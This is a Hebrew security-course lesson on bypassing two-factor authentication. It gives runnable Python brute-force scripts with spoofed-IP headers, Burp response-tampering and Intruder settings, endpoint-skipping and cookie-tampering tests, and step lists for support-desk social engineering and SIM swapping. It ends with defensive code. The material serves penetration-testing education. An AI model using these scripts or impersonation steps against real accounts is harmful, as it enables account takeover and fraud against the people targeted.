לדלג לתוכן

עקיפת אימות דו-שלבי - 2FA Bypass

מבוא

אימות דו-שלבי (Two-Factor Authentication) מוסיף שכבת אבטחה נוספת מעבר לסיסמה. למרות שזה משפר משמעותית את האבטחה, הטמעות לקויות מאפשרות לתוקפים לעקוף את ה-2FA. בשיעור זה נלמד את שיטות התקיפה המתקדמות נגד מנגנוני 2FA שונים.


סקירת מנגנוני 2FA

TOTP - סיסמה חד-פעמית מבוססת זמן

- אפליקציות כמו Google Authenticator, Authy
- מבוסס על סוד משותף וזמן נוכחי
- קוד בן 6 ספרות שמתחלף כל 30 שניות
- חלון תקינות של בדרך כלל 30-90 שניות

SMS OTP

- קוד נשלח בהודעת SMS
- פחות מאובטח עקב חולשות ברשת הסלולרית
- חשוף ל-SIM swapping ו-SS7 attacks

אימות באמצעות דואר אלקטרוני

- קוד או לינק נשלח למייל
- רמת אבטחה נמוכה יחסית
- תלוי באבטחת חשבון המייל

התראות Push

- אישור בלחיצה באפליקציה (Duo, Microsoft Authenticator)
- חשוף ל-MFA fatigue / push bombing

מפתחות חומרה - Hardware Tokens

- יש FIDO2/WebAuthn (YubiKey, Titan)
- הכי מאובטח - עמיד בפני פישינג
- קשה מאוד לתקיפה מרחוק

תקיפה 1: מניפולציית תגובה - Response Manipulation

הרקע

שרתים מסוימים בודקים את קוד ה-2FA ומחזירים תגובה שמציינת אם הוא נכון. אם האפליקציה מסתמכת על בדיקת התגובה בצד הלקוח, ניתן לשנות אותה.

תרחיש

# שליחת קוד 2FA שגוי
POST /verify-2fa HTTP/1.1
Host: target.com
Content-Type: application/json

{"code": "000000"}

# תגובת השרת - כישלון
HTTP/1.1 200 OK
{"success": false, "message": "Invalid code"}

# שינוי התגובה ב-Burp:
HTTP/1.1 200 OK
{"success": true, "message": "Valid code"}

הגדרת Burp לשינוי אוטומטי

1. Proxy -> Options -> Match and Replace
2. הוסיפו כלל:
   Type: Response body
   Match: "success": false
   Replace: "success": true

3. כלל נוסף:
   Type: Response header
   Match: HTTP/1.1 403
   Replace: HTTP/1.1 200

וריאציות נוספות

# שינוי status code
HTTP/1.1 403 Forbidden  ->  HTTP/1.1 200 OK

# שינוי redirect
Location: /2fa-failed  ->  Location: /dashboard

# שינוי ערך boolean
{"verified": false}  ->  {"verified": true}
{"error": true}  ->  {"error": false}

# שינוי error code
{"errorCode": 401}  ->  {"errorCode": 0}

תקיפה 2: כוח גס עם עקיפת הגבלת קצב - Brute Force with Rate Limit Bypass

הרקע

קוד 2FA הוא בדרך כלל 4-6 ספרות, מה שנותן מרחב של 10,000 עד 1,000,000 אפשרויות. אם אין הגבלת קצב יעילה, ניתן לנסות את כולן.

עקיפת הגבלת קצב באמצעות כותרות HTTP

# הגבלת קצב מבוססת IP - נסו לשנות את כתובת ה-IP הנראית
POST /verify-2fa HTTP/1.1
Host: target.com
X-Forwarded-For: 1.2.3.4
X-Real-IP: 1.2.3.4
X-Originating-IP: 1.2.3.4
X-Client-IP: 1.2.3.4
CF-Connecting-IP: 1.2.3.4
True-Client-IP: 1.2.3.4
X-Forwarded-Host: target.com
X-Remote-IP: 1.2.3.4
X-Remote-Addr: 1.2.3.4

{"code": "123456"}

סקריפט Brute Force עם סיבוב IP

import requests
import random
import time

def brute_force_2fa(target_url, session_cookie, code_length=6):
    """כוח גס על קוד 2FA עם סיבוב כתובות IP"""

    max_code = 10 ** code_length

    session = requests.Session()
    session.cookies.set('session', session_cookie)

    for code in range(max_code):
        code_str = str(code).zfill(code_length)

        # יצירת IP אקראי לעקיפת rate limit
        fake_ip = f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"

        headers = {
            'X-Forwarded-For': fake_ip,
            'X-Real-IP': fake_ip,
            'Content-Type': 'application/json'
        }

        resp = session.post(
            target_url,
            json={"code": code_str},
            headers=headers,
            allow_redirects=False
        )

        # בדיקת הצלחה
        if resp.status_code == 302 and '/dashboard' in resp.headers.get('Location', ''):
            print(f"[+] קוד נמצא: {code_str}")
            return code_str

        if resp.status_code == 429:  # Too Many Requests
            print(f"[-] נחסמנו ב-{code_str}, ממתין...")
            time.sleep(5)

        # הדפסת התקדמות
        if code % 1000 == 0:
            print(f"[*] נבדקו {code} קודים...")

    print("[-] לא מצאנו את הקוד")
    return None

טכניקות נוספות לעקיפת Rate Limit

# שיטה 1: שינוי User-Agent
user_agents = [
    "Mozilla/5.0 (Windows NT 10.0)",
    "Mozilla/5.0 (Macintosh)",
    "Mozilla/5.0 (Linux)",
    # ...
]

# שיטה 2: שינוי פורמט הבקשה
# JSON vs URL-encoded vs XML
data_formats = [
    ('application/json', '{"code": "123456"}'),
    ('application/x-www-form-urlencoded', 'code=123456'),
    ('application/xml', '<code>123456</code>'),
]

# שיטה 3: הוספת רווחים/תווים לקוד
# "123456" vs "123456 " vs " 123456" vs "123456\n"

תקיפה 3: כוח גס על קודי גיבוי - Backup Code Brute Forcing

הרקע

אפליקציות מנפיקות קודי גיבוי למקרה שאין גישה ל-2FA. קודים אלו לעיתים קצרים יותר או שאין עליהם הגבלת קצב.

תרחיש

# בקשה רגילה עם קוד 2FA
POST /verify-2fa HTTP/1.1
Content-Type: application/json

{"code": "123456", "type": "totp"}

# בקשה עם קוד גיבוי - לעיתים ללא rate limit
POST /verify-2fa HTTP/1.1
Content-Type: application/json

{"code": "abc123", "type": "backup"}

כוח גס על קודי גיבוי

import itertools
import string
import requests

def brute_force_backup_codes(target_url, session_cookie):
    """כוח גס על קודי גיבוי"""

    session = requests.Session()
    session.cookies.set('session', session_cookie)

    # קודי גיבוי נפוצים: 8 ספרות
    for code in range(10**8):
        code_str = str(code).zfill(8)

        resp = session.post(target_url, json={
            "code": code_str,
            "type": "backup"
        })

        if "success" in resp.text or resp.status_code == 302:
            print(f"[+] קוד גיבוי: {code_str}")
            return code_str

    return None

תקיפה 4: ניצול חלון זמן TOTP - TOTP Time Window Exploitation

הרקע

קודי TOTP תקפים לחלון זמן מסוים (בדרך כלל 30 שניות). שרתים רבים מקבלים קודים מחלון הזמן הקודם והבא גם כן, מה שמרחיב את חלון התקיפה.

ניצול

import pyotp
import time

def analyze_totp_window(target_url, session_cookie):
    """ניתוח חלון הזמן של TOTP"""

    session = requests.Session()
    session.cookies.set('session', session_cookie)

    # יצירת קודים לחלונות זמן שונים
    # נניח שיש לנו את הסוד (למשל מ-QR code שצילמנו)
    totp = pyotp.TOTP("BASE32SECRET")

    current_time = int(time.time())

    # בדיקת קודים מחלונות זמן שונים
    for offset in range(-5, 6):  # 5 חלונות לפני ואחרי
        test_time = current_time + (offset * 30)
        code = totp.at(test_time)

        resp = session.post(target_url, json={"code": code})

        status = "ACCEPTED" if resp.status_code == 200 else "REJECTED"
        print(f"  חלון {offset:+d} ({test_time}): {code} -> {status}")

שימוש חוזר בקוד

# בדיקה: האם ניתן להשתמש באותו קוד פעמיים?
# שליחה ראשונה
POST /verify-2fa HTTP/1.1
{"code": "123456"}
# תגובה: 200 OK

# שליחה שנייה מיידית עם אותו קוד
POST /verify-2fa HTTP/1.1
{"code": "123456"}
# אם 200 OK -> קוד ניתן לשימוש חוזר!

תקיפה 5: גישה ישירה לנקודות קצה - Direct Endpoint Access

הרקע

אפליקציות מסוימות בודקות 2FA רק בזרימת ההתחברות הרגילה, אך לא מגנות על נקודות קצה אחרות. ניתן לדלג על שלב ה-2FA על ידי ניווט ישיר.

תרחיש

# זרימה רגילה:
# 1. POST /login -> 302 /2fa
# 2. POST /2fa -> 302 /dashboard

# תקיפה: דילוג על שלב 2
# 1. POST /login -> 302 /2fa
# 2. במקום לפנות ל-/2fa, ניגש ישירות ל-/dashboard
GET /dashboard HTTP/1.1
Cookie: session=VALID_SESSION_AFTER_PASSWORD

# אם עובד -> ה-2FA ניתן לדילוג!

בדיקה שיטתית

import requests

def test_2fa_bypass(target_base, session_cookie):
    """בדיקת עקיפת 2FA על ידי גישה ישירה"""

    session = requests.Session()
    session.cookies.set('session', session_cookie)

    # רשימת נקודות קצה לבדיקה
    endpoints = [
        '/dashboard',
        '/profile',
        '/settings',
        '/api/user',
        '/api/admin',
        '/account',
        '/home',
        '/admin',
        '/api/v1/me',
        '/api/v2/user/profile',
    ]

    print("[*] בודק גישה ישירה לנקודות קצה...")

    for endpoint in endpoints:
        resp = session.get(
            f"{target_base}{endpoint}",
            allow_redirects=False
        )

        if resp.status_code == 200:
            print(f"[+] גישה התקבלה ל: {endpoint}")
        elif resp.status_code == 302:
            location = resp.headers.get('Location', '')
            if '2fa' not in location.lower() and 'login' not in location.lower():
                print(f"[+] הפניה לא ל-2FA: {endpoint} -> {location}")
        else:
            print(f"[-] נחסם: {endpoint} ({resp.status_code})")

שינוי זרימה

# בדיקות נוספות:

# שינוי ה-cookie לאחר שלב הסיסמה
# חלק מהאפליקציות מסמנות ב-cookie שנדרש 2FA
Cookie: session=abc123; 2fa_required=true
# שנו ל:
Cookie: session=abc123; 2fa_required=false

# שינוי ה-role ב-cookie
Cookie: session=abc123; verified=0
# שנו ל:
Cookie: session=abc123; verified=1

# בדיקת parameter tampering
POST /2fa-check HTTP/1.1
{"code": "000000", "skip": true}

תקיפה 6: קיבוע סשן לאחר 2FA - Session Fixation After 2FA

הרקע

אם השרת לא מחליף את ה-session ID לאחר אימות 2FA מוצלח, ניתן לבצע session fixation.

תרחיש

# שלב 1: התוקף מקבל session ID
GET / HTTP/1.1
Host: target.com

HTTP/1.1 200 OK
Set-Cookie: session=KNOWN_SESSION_ID

# שלב 2: התוקף מזריק את ה-session ID לקורבן
# (באמצעות XSS, subdomain cookie, וכו')

# שלב 3: הקורבן מתחבר עם הסיסמה ועם 2FA
# אם ה-session ID לא משתנה -> התוקף משתמש באותו session

# בדיקה:
# 1. רשמו את ה-session ID לפני 2FA
# 2. בצעו 2FA מוצלח
# 3. בדקו אם ה-session ID השתנה
# אם לא השתנה -> חולשת session fixation

תקיפה 7: שימוש חוזר בקוד 2FA - Code Reuse

הרקע

קודים חד-פעמיים אמורים להיות תקפים לשימוש אחד בלבד. אם השרת לא מבטל אותם לאחר שימוש, ניתן להשתמש בהם שוב.

בדיקה

import requests

def test_code_reuse(target_url, session_cookie, valid_code):
    """בדיקת שימוש חוזר בקוד 2FA"""

    session = requests.Session()
    session.cookies.set('session', session_cookie)

    # שימוש ראשון
    resp1 = session.post(target_url, json={"code": valid_code})
    print(f"[*] שימוש ראשון: {resp1.status_code}")

    # ניתוק
    session.get(f"{target_url.rsplit('/', 1)[0]}/logout")

    # התחברות מחדש
    session.post(f"{target_url.rsplit('/', 1)[0]}/login", json={
        "username": "victim",
        "password": "password"
    })

    # שימוש שני באותו קוד
    resp2 = session.post(target_url, json={"code": valid_code})
    print(f"[*] שימוש שני: {resp2.status_code}")

    if resp2.status_code == 200:
        print("[+] קוד ניתן לשימוש חוזר!")
    else:
        print("[-] קוד בוטל לאחר שימוש")

תקיפה 8: הנדסה חברתית על איפוס 2FA - Social Engineering

הרקע

רוב השירותים מציעים תהליך איפוס 2FA למשתמשים שאיבדו גישה. תהליך זה עצמו עלול להיות חולשה.

תרחישי תקיפה

1. פנייה לתמיכה עם פרטי הקורבן
   - "איבדתי את הטלפון ואני לא מצליח להתחבר"
   - תמיכה מבטלת 2FA ומאפשרת התחברות עם סיסמה בלבד

2. שאלות אבטחה חלשות
   - תהליך האיפוס דורש תשובה לשאלת אבטחה
   - תשובות ניתנות לגילוי מרשתות חברתיות

3. איפוס דרך מייל
   - שליחת לינק איפוס 2FA למייל
   - אם יש גישה למייל (מפישינג) -> איפוס 2FA

תקיפה 9: החלפת SIM עבור 2FA מבוסס SMS - SIM Swapping

הרקע

ב-SIM swapping, התוקף משכנע את חברת הסלולר להעביר את מספר הטלפון של הקורבן ל-SIM חדש.

שלבי התקיפה

1. איסוף מידע אישי על הקורבן
   - שם מלא, כתובת, מספר זהות
   - ניתן לקבל ממאגרי נתונים שדלפו

2. פנייה לחברת הסלולר
   - התחזות לקורבן
   - בקשה להחלפת SIM "כי הטלפון נגנב"

3. קבלת SMS של הקורבן
   - כל הודעות ה-SMS מגיעות ל-SIM החדש
   - כולל קודי 2FA

4. התחברות לחשבון
   - שימוש בסיסמה (ידועה או מאופסת)
   - קבלת קוד 2FA דרך ה-SIM

הגדרת Burp Intruder לכוח גס על 2FA

הגדרת התקיפה

1. יירטו בקשת אימות 2FA ושלחו ל-Intruder

2. הגדרות Position:
   POST /verify-2fa HTTP/1.1
   Host: target.com
   Cookie: session=abc123

   {"code": "PAYLOAD_HERE"}

3. הגדרות Payload:
   Payload type: Numbers
   From: 0
   To: 999999
   Step: 1
   Min integer digits: 6
   Max integer digits: 6

4. הגדרות Resource Pool:
   Maximum concurrent requests: 20

5. הגדרות Grep - Match:
   הוסיפו מחרוזות שמציינות הצלחה:
   - "dashboard"
   - "success"
   - "welcome"

6. הגדרות Grep - Extract:
   חלצו את ה-status code ואת ה-Location header

טיפים ל-Intruder

- אם יש rate limit: הגדירו Throttle של 500ms בין בקשות
- אם יש חסימת IP: השתמשו ב-IP rotation (Burp Turbo Intruder)
- אם ה-session מתבטל: השתמשו ב-Macros לחידוש session
- סננו תוצאות לפי אורך התגובה - תגובת הצלחה בדרך כלל שונה בגודלה

סקריפט אוטומטי לבדיקת עקיפת 2FA

#!/usr/bin/env python3
"""
סקריפט מקיף לבדיקת עקיפת 2FA
"""

import requests
import json
import time
import random

class TwoFABypassTester:
    def __init__(self, base_url, username, password):
        self.base_url = base_url
        self.username = username
        self.password = password
        self.session = requests.Session()

    def login(self):
        """התחברות עם סיסמה בלבד"""
        resp = self.session.post(f"{self.base_url}/login", json={
            "username": self.username,
            "password": self.password
        }, allow_redirects=False)
        return resp

    def test_direct_access(self):
        """בדיקת גישה ישירה ללא 2FA"""
        print("[*] בודק גישה ישירה...")
        self.login()

        endpoints = ['/dashboard', '/profile', '/api/user', '/admin']
        for ep in endpoints:
            resp = self.session.get(
                f"{self.base_url}{ep}",
                allow_redirects=False
            )
            if resp.status_code == 200:
                print(f"  [+] גישה ל-{ep} ללא 2FA!")

    def test_response_manipulation(self):
        """בדיקת מניפולציית תגובה"""
        print("[*] בודק מניפולציית תגובה...")
        self.login()

        resp = self.session.post(
            f"{self.base_url}/verify-2fa",
            json={"code": "000000"}
        )

        print(f"  תגובה לקוד שגוי: {resp.status_code}")
        print(f"  גוף: {resp.text[:200]}")

        if '"success"' in resp.text or '"verified"' in resp.text:
            print("  [!] ניתן לבצע מניפולציית תגובה")

    def test_code_reuse(self, valid_code):
        """בדיקת שימוש חוזר בקוד"""
        print("[*] בודק שימוש חוזר בקוד...")
        self.login()

        # שימוש ראשון
        resp1 = self.session.post(
            f"{self.base_url}/verify-2fa",
            json={"code": valid_code}
        )

        # ניתוק וחיבור מחדש
        self.session.get(f"{self.base_url}/logout")
        self.login()

        # שימוש שני
        resp2 = self.session.post(
            f"{self.base_url}/verify-2fa",
            json={"code": valid_code}
        )

        if resp2.status_code == 200:
            print("  [+] קוד ניתן לשימוש חוזר!")

    def test_brute_force_feasibility(self):
        """בדיקת אפשרות כוח גס"""
        print("[*] בודק הגבלת קצב...")
        self.login()

        blocked = False
        for i in range(20):
            code = str(random.randint(0, 999999)).zfill(6)
            resp = self.session.post(
                f"{self.base_url}/verify-2fa",
                json={"code": code}
            )

            if resp.status_code == 429:
                print(f"  [-] נחסמנו אחרי {i+1} ניסיונות")
                blocked = True
                break

        if not blocked:
            print("  [+] אין הגבלת קצב - כוח גס אפשרי!")

    def run_all(self, valid_code=None):
        """הרצת כל הבדיקות"""
        print(f"[*] מתחיל בדיקת 2FA bypass עבור {self.base_url}")
        print("=" * 60)

        self.test_direct_access()
        self.test_response_manipulation()
        self.test_brute_force_feasibility()

        if valid_code:
            self.test_code_reuse(valid_code)

        print("=" * 60)
        print("[*] הבדיקה הושלמה")

if __name__ == "__main__":
    tester = TwoFABypassTester(
        "https://target.com",
        "username",
        "password"
    )
    tester.run_all()

הגנות - Defenses

1. הגבלת קצב חזקה

from flask_limiter import Limiter

limiter = Limiter(app, key_func=get_remote_address)

@app.route('/verify-2fa', methods=['POST'])
@limiter.limit("5 per minute")  # מקסימום 5 ניסיונות בדקה
def verify_2fa():
    code = request.json.get('code')
    if verify_totp(code):
        session.regenerate()  # חידוש session
        return redirect('/dashboard')

    # נעילת חשבון לאחר 10 ניסיונות כושלים
    increment_failed_attempts(current_user)
    if get_failed_attempts(current_user) >= 10:
        lock_account(current_user, duration=3600)
        return jsonify({"error": "חשבון ננעל"}), 423

    return jsonify({"error": "קוד שגוי"}), 401

2. ביטול קוד לאחר שימוש

used_codes = set()  # בפרודקשן: Redis או DB

def verify_totp(user, code):
    code_key = f"{user.id}:{code}"

    if code_key in used_codes:
        return False  # קוד כבר שומש

    if pyotp.TOTP(user.totp_secret).verify(code, valid_window=1):
        used_codes.add(code_key)
        return True

    return False

3. אימות 2FA ברמת השרת

def require_2fa(f):
    """דקורטור שדורש 2FA מושלם"""
    @wraps(f)
    def decorated(*args, **kwargs):
        if not session.get('2fa_verified'):
            return redirect('/2fa')
        return f(*args, **kwargs)
    return decorated

@app.route('/dashboard')
@require_2fa
def dashboard():
    return render_template('dashboard.html')

4. המלצות כלליות

- העדיפו TOTP על SMS
- דרשו מפתחות חומרה (FIDO2) לחשבונות רגישים
- בצעו rate limiting חזק על ניסיונות 2FA
- אימתו 2FA בצד השרת בלבד
- חדשו session לאחר 2FA מוצלח
- בטלו קודים לאחר שימוש יחיד
- נעלו חשבון לאחר מספר ניסיונות כושלים
- הגבילו את חלון הזמן של TOTP למינימום
- תעדו ניסיונות 2FA כושלים לצורכי ניטור

סיכום

עקיפת 2FA היא תחום רחב שמשלב טכניקות טכניות עם הנדסה חברתית. הנקודות המרכזיות:

  • מניפולציית תגובה היא הפשוטה ביותר ולעיתים עובדת
  • כוח גס עם עקיפת rate limit הוא יעיל נגד קודים קצרים
  • גישה ישירה לנקודות קצה עוקפת 2FA לחלוטין כשהבדיקה לקויה
  • שימוש חוזר בקודים ובדיקת חלון זמן הם בדיקות חובה
  • ההגנה הטובה ביותר משלבת rate limiting חזק, ביטול קודים, ואימות בצד השרת